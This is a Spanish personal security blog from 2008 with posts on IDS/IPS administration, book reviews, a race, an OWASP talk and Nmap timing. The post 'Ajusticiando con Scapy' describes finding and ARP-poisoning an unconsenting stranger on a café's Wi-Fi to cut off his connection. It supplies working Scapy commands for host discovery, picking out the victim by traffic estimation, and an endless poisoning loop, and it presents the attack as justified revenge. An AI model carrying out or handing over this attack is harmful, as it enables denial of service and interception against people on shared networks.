lunes, 28 de abril de 2008

Tres cosas que los Managers no saben sobre un IDS

Hace poco leía sobre si los IDS son realmente efectivos, o una necesidad impuesta por los genios del marketing de fines de los 90, y me puse a pensar que por lo menos hay 3 razones por la que un IDS no va terminar siendo totalmente efectivo.


Un IDS no es igual a un Firewall

Muchos managers confunden la complejidad de un IDS al compararlo erróneamente con un Firewall.

Generalmente, una vez que un Firewall ya se encuentra instalado, solamente tendremos que definir la política, que puertos dejar abiertos o filtrados, y mas alla del mantenimiento básico, nos podemos llegar a olvidar del Firewall.

Con un IDS, es totalmente lo opuesto, una vez que esta instalado y en producción, si no estamos continuamente analizando las alertas generadas, el IDS no nos va a servir para nada.

¿ Cual es el propósito de que un IDS nos alerte de un ataque, si no vamos a revisar estas alertas ?


Un IPS tampoco puede dejarse sin atención

Existe también, el mito urbano de que un IPS como puede tomar acciones sobre un ataque, por ejemplo enviando un RST, DROPeando el paquete o filtrando la IP del atacante, no necesita demasiada atención de un analista que deba tomar una decisión ante una alerta recibida.

Esto por supuesto no es verdadero, los IDS/IPS suelen generar gran cantidad de falsos-positivos, y si tomáramos la decisión de configurar nuestro IPS para que tome una acción ante cada alerta de ataque, sin dudas que mas del 50% de los servicios de nuestra Red seria bloqueado erróneamente.

En la realidad, no son muchas las firmas de ataques a las que podemos configurarles una acción de bloqueo con la tranquilidad de que no afecte ningún servicio, para el resto tendremos que generar excepciones para que no bloqueen algún servicio en particular, o simplemente deberemos analizar las alertas sin ninguna acción como si fuera un IDS.

En cualquier caso, todo esto consume mucho tiempo, por lo que es inevitable que también haya un analista detrás de un IPS.


Un IDS/IPS va a ser tan bueno como la persona que lo administra

Si bien hay Firewall's con mayor y menor complejidad, y el administrador debe ser una persona con criterio, básicamente todo va a pasar por que trafico vamos a permitir o no dejar pasar.

Por otro lado, un buen administrador de IDS/IPS va a necesitar tener un profundo conocimiento de vulnerabilidades y ataques.

Si el analista es bueno, rápidamente se puede dar cuenta de que una combinación de alertas no corresponde a un ataque real sino son solo falsos-positivos, o podrá detectar que esa alerta efectivamente corresponde a un ataque que se esta realizando contra la Red.

Diariamente también, nos vamos a encontrar con una cantidad interesante de nuevas firmas de ataques, sobre las cuales el analista deberá tomar la decisión de incluirlas o no en la política, y decidir la acción que el IPS tomara como respuesta a estos ataques. Nuevamente, un error puede significar la perdida de conectividad en la Red, o la posibilidad de que un ataque se realice sin ser detectado.

Es fundamental para que una instalación de IDS/IPS sea exitosa, que el administrador o analista le dedique el 100% de su tiempo.

martes, 22 de abril de 2008

Ajusticiando con Scapy

Todos los fines de semana, Gesolmina y yo acostumbramos ir a desayunar a un conocido Café del centro porteño, y mientras ella lee Il Corriere della Sera, yo me dedico a Webear con la MacBook.

Cada fin de semana también, hay un sujeto que va a desayunar a ese mismo Café, y sistemáticamente se dedica a bajar música y películas, consumiendo casi totalmente el ya reducido ancho de banda que tiene el lugar.

Después de varias semanas de indignación, ante una actitud tan poco considerada hacia todos los que vamos a ese Café para usar el Wi-Fi, decidí hacer justicia por mano propia... y ajusticiarlo con Scapy! ;)

Entonces, ¿ por donde comenzamos ? la estrategia seria muy simple, le haríamos un ARP Poisoning para cambiarle la MAC a la IP de su Gateway y que de esta forma no pueda realizar ninguna conexión hacia Internet.

Pero antes tendríamos un desafío, que es identificar cual es la dirección IP de nuestra víctima. Como dato conocido, sabemos que la laptop es una Compaq ya que el logo es fácilmente visible.

Vamos a comenzar la búsqueda realizando un ARP Ping en la LAN, con el objetivo de analizar las direcciones MAC recibidas e identificar que placas de red fueron fabricadas por Compaq.



kfs:~/coding root# ./scapy.py
Welcome to Scapy (1.2.0.2)
>>> ans,unans = srp( Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.210.0/24"), timeout = 2 )
Begin emission:
Finished to send 256 packets.
Received 259 packets, got 5 answers, remaining 254 packets
>>> for snd,rcv in ans:
... print rcv.sprintf("%Ether.src% = %ARP.psrc%")
...
00:50:7f:28:99:67 = 192.168.210.50
00:03:2f:30:b2:fc = 192.168.210.60
00:80:5F:B1:C6:16 = 192.168.210.100
00:90:96:A2:E6:26 = 192.168.210.103
00:10:E3:12:A6:33 = 192.168.210.105
>>>



Esto también lo podríamos haber hecho con una función interna de Scapy llamada arping, que posee el mismo código que lo que hicimos nosotros. Ej: arping("192.168.210.0/24")

Una vez que tenemos todas las direcciones MAC de la LAN, vamos a buscar a que fabricante corresponde cada una comparando los primeros 6 caracteres de cada dirección. La lista de MAC-Fabricante la podemos sacar de la IEEE, o también podemos utilizar la que viene con Nmap: "nmap-mac-prefixes"

Como el interprete interactivo de Scapy, es en realidad el mismo que Python, vamos a usar unas simples lineas de Python para realizar la comparación de las MAC encontradas contra el archivo "nmap-mac-prefixes":



>>> def LimpiarMAC(macdir):
... macdir = macdir.replace(':','')
... macdir = macdir[:6]
... macdir = macdir.upper()
... return macdir
...
>>> archivo = open('/usr/local/share/nmap/nmap-mac-prefixes','r')
>>>
>>> for snd,rcv in ans:
... print rcv.sprintf("%Ether.src% = %ARP.psrc%")
... macdir = LimpiarMAC(rcv.hwsrc)
... for linea in archivo:
... if linea.find(macdir) != -1:
... print linea
... archivo.seek(0)
...
00:50:7f:28:99:67 = 192.168.210.50
00507F DrayTek

00:03:2f:30:b2:fc = 192.168.210.60
00032F Global Sun Technology

00:80:5F:B1:C6:16 = 192.168.210.100
00805F Compaq Computer

00:90:96:A2:E6:26 = 192.168.210.103
009096 Askey Computer

00:10:E3:12:A6:33 = 192.168.210.105
0010E3 Compaq Computer

>>> archivo.close()
>>>



Como podemos ver, solamente hay dos sistemas en la LAN que poseen direcciones MAC de Compaq.

¿ Como podemos saber cual de los dos es nuestra víctima ? podemos presumir, muy fehacientemente, que quien se encuentre generando mayor trafico es a quien estamos buscando.

Para estimar el consumo de trafico vamos a realizar lo que se conoce como IP ID Analysis, donde simplemente vamos a analizar de que forma se incrementa el campo ID del protocolo IP.

Este campo tiene un valor numérico que se incrementa de 1 en 1 por cada conexión, si un sistema esta realizando muchas conexiones, obviamente el incremento sera mucho mayor y nos permitirá detectar a nuestra víctima.

Hay algunos SO's y Firewall's que randomizan el valor del campo ID, otros SO como Linux lo mantienen siempre en 0, esto evitaría que podamos hacer este tipo de análisis. Afortunadamente para nosotros, aquí solo nos hemos topado con workstations con Windows, que se imaginaran no hace nada de esto.

Comencemos el análisis con la primera IP: 192.168.210.100



>>> a,b = srloop( IP(dst="192.168.210.100")/TCP(sport=RandShort()), prn=lambda(s,r):r.id )
RECV 1: 2142
RECV 1: 2143
RECV 1: 2144
RECV 1: 2145
RECV 1: 2147
RECV 1: 2148
RECV 1: 2149
RECV 1: 2150
RECV 1: 2151
RECV 1: 2152
^C
Sent 25 packets, received 25 packets. 100.0% hits.
>>>



Claramente podemos observar que casi todos los ID's se van incrementando de 1 en 1, por lo que podríamos pensar que esta no es nuestra víctima.

Ahora analicemos la segunda dirección IP: 192.168.210.105



>>> a,b = srloop( IP(dst="192.168.210.105")/TCP(sport=RandShort()), prn=lambda(s,r):r.id )
RECV 1: 16180
RECV 1: 16541
RECV 1: 16950
RECV 1: 17366
RECV 1: 17728
RECV 1: 18152
RECV 1: 18487
RECV 1: 18861
RECV 1: 19214
RECV 1: 19588
RECV 1: 19955
RECV 1: 20309
RECV 1: 20645
RECV 1: 20993
^C
Sent 30 packets, received 30 packets. 100.0% hits.
>>>



En este caso podemos observar que cada ID que recibimos se fue incrementando en valores totalmente dispares, lo que significa que este sistema esta generando muchas conexiones y es a quien estamos buscando.

También podríamos visualizar estos resultados en forma gráfica de la siguiente forma:



a.diffplot ( lambda (s1,r1), (s2,r2): (r2.id-r1.id) )




Si hubiéramos generado un gráfico del caso anterior veríamos simplemente una linea roja sobre el eje, mientras que en este caso podemos apreciar distintos picos de mayor y menor trafico. A mayor cantidad de paquetes recibidos, el gráfico se puede visualizar mucho mejor.

¿ Para que otra cosa nos puede servir la estimación de trafico ? en un Penetration Testing por ejemplo, si analizamos las 24hs del Host que vamos a auditar, podemos descubrir en que horario hay mayor cantidad de trafico y por lo tanto nuestro ataque pasaría un poco mas inadvertido. También hay gente que ha utilizado esta técnica para especular en la Bolsa, intentando detectar que empresas reciben mas trafico que de costumbre en situaciones particulares, pero no se los recomiendo para nada...

Finalmente pudimos descubrir cual es la dirección IP de nuestra víctima, y ahora vamos a realizar el ARP Poisoning:



>>> s = ARP(op="who-has", psrc="192.168.210.50", pdst="192.168.210.105", hwdst="00:10:E3:12:A6:33")
>>> send(s, inter=3, loop=1)



El Poisoning también lo podríamos hacer con un ARP Reply (op="is-at"), pero algunos SO's ya toman algunas precauciones respecto a esto, y aparte deberíamos estar seguros de que el SO ya genero un ARP Request, sino no va a aceptar nuestro Reply. A causa de todo esto, siempre es conveniente hacer el Poisoning con un ARP Request (op="who-has").

Como podemos observar, en el ARP Request estamos definiendo la MAC de nuestra víctima, lo que puede parecer un poco raro ya que el propósito de un ARP Request es averiguar cual es la MAC de la IP por la que estamos preguntando y generalmente se la envía al Broadcast ("ff:ff:ff:ff:ff:ff"). Pero esto no es inusual en una LAN, ya que se lo suele utilizar para mantener una especie de keep-alive entre los host's.

Con este Poisoning la víctima tendría la IP del Gateway con nuestra MAC, si no queremos que nos lleguen los paquetes a nosotros podemos cambiarlo definiendo la opción "hwsrc=OTRA_MAC". También definimos en el comando send() que envíe ese paquete cada 3 segundos en un Loop infinito.

Para finalizar, hay muchas cosas que se podrían haber hecho para llegar al mismo objetivo, pero la idea era simplemente jugar un poco con Scapy. Próximamente voy a postear sobre ataques un poco mas complejos e interesantes que también podemos hacer.

jueves, 17 de abril de 2008

Revisando Algunos Libros

Con el único propósito de obligarme a terminar de leer algunos libros que he comprado, voy a comenzar a realizar review's de los que mas me interesan y tengo olvidados en la biblioteca.

También voy a hacer algunas reseñas mas breves de otros libros que compre y no me gustaron tanto, como para que no digan que nadie les aviso...

La primer review que realice fue del libro Apache Security en el 2006. Pueden encontrar la review publicada en la Web del grupo de usuarios Perl Mongers de Capital Federal.


Al autor del libro, parece que le gusto mi review porque por cuenta propia decidió agregarla a la Web oficial: www.apachesecurity.net

Apache Security me gusto mucho! pero hay otros que no me gustaron tanto...

Un libro que me arrepiento de haber comprado es Building Open Source Network Security Tools de Mike Schiffman.


Para el momento en que lo compre, estaba trabajando en un proyecto con las Libnet y me había encontrado con algunas dificultades usando esta librería, y como había tan poca documentación decidí comprarme el libro.

En el libro solamente pude encontrar ejemplos con el mismo código fuente que se encontraba disponible en la Web oficial, y la documentación era casi la misma que se podía encontrar en las paginas del "man".

Tiempo después, el sitio www.packetfactory.net desapareció, y tuve que abandonar el uso de las Libnet debido a las grandes limitaciones que tenia para construir algunos tipos de paquetes y a que ya no lo mantenía nadie. Una verdadera lastima... pero ahora uso Scapy y soy muy feliz :)

Un libro que me gusto, pero me desilusiono un poco fue Silence on the wire de Michal Zalewski.


Zalewski es el autor de p0f, la conocida herramienta para hacer fingerprinting pasivo, y cuando compre este libro, fue a causa de p0f, ya que me interesaba mucho conocer mas profundamente su funcionamiento.

Fue una gran desilusión, que el capitulo dedicado fingerprinting pasivo no fue abordado mas profundamente. Pero en general el libro es de una lectura agradable, donde se describen ataques que muy difícilmente uno podría llevar a cabo en el mundo real pero que no dejan de ser interesante conocerlos.

Todavía estoy esperando una compra que hice en Amazon hace unas semanas, así que cuando lleguen les cuento...

lunes, 14 de abril de 2008

Maratón UCEMA 8 km

Ayer, Domingo por la mañana, corrí la Maratón UCEMA de 8 km en Costanera Sur, una de las mejores carreras de calle de Buenos Aires.

La carrera estuvo muy bien organizada, las calles debidamente cortadas, la hidratación fue buena y en general todo fue bastante ordenado. Lo único para acotar es que se hizo un cambió en el recorrido sin previo aviso, pero a mi me gusto ya que no hizo tan monotona la ida y la vuelta.

En lo personal estoy más que satisfecho, fuí con el objetivo de bajar mis tiempos a 5 minutos el kilómetro y logré hacerlo en 4 minutos con 48 segundos.

Mi tiempo total para los 8km fue de 38:18

miércoles, 9 de abril de 2008

Chema Alonso en Argentina

Ayer estuve en la charla que Chema Alonso dio en la UBA llamada “Técnicas más utilizadas para atacar WebSites, Top Ten OWASP”, con el amigo Francisco Amato como invitado especial.

Chema realizo demostraciones de como explotar cada uno de los 10 ataques Web más populares de la actualidad, y Francisco profundizo el tema de SQL Injection, presentando también su herramienta ISR-sqlget que permite bajar una base de datos completa.


La charla estuvo muy interesante, si se la perdieron aqui tienen el programa de todas las charlas que Chema dará esta semana: [programa]

- Blog de Chema: http://elladodelmal.blogspot.com
- Blog de Francisco: http://blog.infobyte.com.ar

sábado, 5 de abril de 2008

¿ Porque Nmap es Lento con Redes Muy Filtradas ?

Hace unos meses tuve que realizar un PenTest a una red GPRS y me encontré con un verdadero problema al momento de realizar el escaneo de puertos, todo era muy lento!

No solamente tenia una conexión bastante lenta, ya que para acceder a la red GPRS debía utilizar un celular que conectaba a mi laptop a través de bluetooth, sino que también la mayoría de las redes que debía auditar estaban filtradas, y un gran problema que tiene Nmap, es que se vuelve sumamente lento cuando se encuentra con redes muy filtradas.

Entonces, ¿ Porque Nmap es Lento con Redes Muy Filtradas ?

Básicamente, Nmap utiliza un algoritmo con el cual va ajustando el RTT Timeout con cada respuesta que recibe de los host que están siendo escaneados. Cuando Nmap se encuentra con un puerto filtrado y no recibe ninguna respuesta, debe esperar a que se cumpla el RTT Timeout, y luego volver a enviar el paquete, para estar seguro de que no se llego al Timeout debido a perdidas de paquetes en la red.

A causa de esto, mientras que Nmap recibe respuestas de los hosts puede ir ajustando el RTT Timeout a un valor optimo y el escaneo será muy rápido. Pero cuando se encuentra con hosts que no proveen ninguna respuesta, se llega al peor escenario en donde por cada paquete enviado hay que esperar a que se cumpla el Timeout máximo por default de 10 segundos, y luego volver a retransmitir ese mismo paquete 10 veces mas para confirmar que efectivamente se trata de un puerto filtrado y no de perdida de paquetes.

Nmap posee varias políticas para manejar el Timing de nuestro escaneo, la política utilizada por default es la T3 (Normal):


Una de las técnicas que utiliza PortBunny para evitar este problema con redes muy filtradas es el uso de Triggers. Nmap también utiliza el concepto de Triggers, que básicamente consiste en enviar paquetes para poder medir el RTT de la respuesta, pero la diferencia es que PortBunny utiliza Triggers con hosts de los que ya se conoce de antemano que van a proveer una respuesta. Entonces durante toda la duración del escaneo constantemente se le envían paquetes a estos hosts, y cuando se deja de recibir una respuesta sabemos efectivamente que hay perdidas de paquetes y no que se trata de un puerto filtrado.

Obviamente al utilizar Triggers, PortBunny genera un 10% mas de paquetes durante el escaneo, pero según los autores igualmente se logran tiempos muchos mejores que los de Nmap.

Hay muchos otros factores de importancia durante un escaneo de puertos, como ser el control de congestión, el ancho de banda, estimar correctamente el RTT, encontrar Triggers efectivos para nuestro escaneo, pero lo vamos a dejar para otro post... ;)

Les dejo algunos links interesantes sobre este tema:

- Candado Digital: Optimizando escaneos de puertos con Nmap
- Nmap: Timing and Performance
- Secrets of Network Cartography: Timing Options
- KungFooSion: PortBunny y la Guerra de los Port Scanners

LinkWithin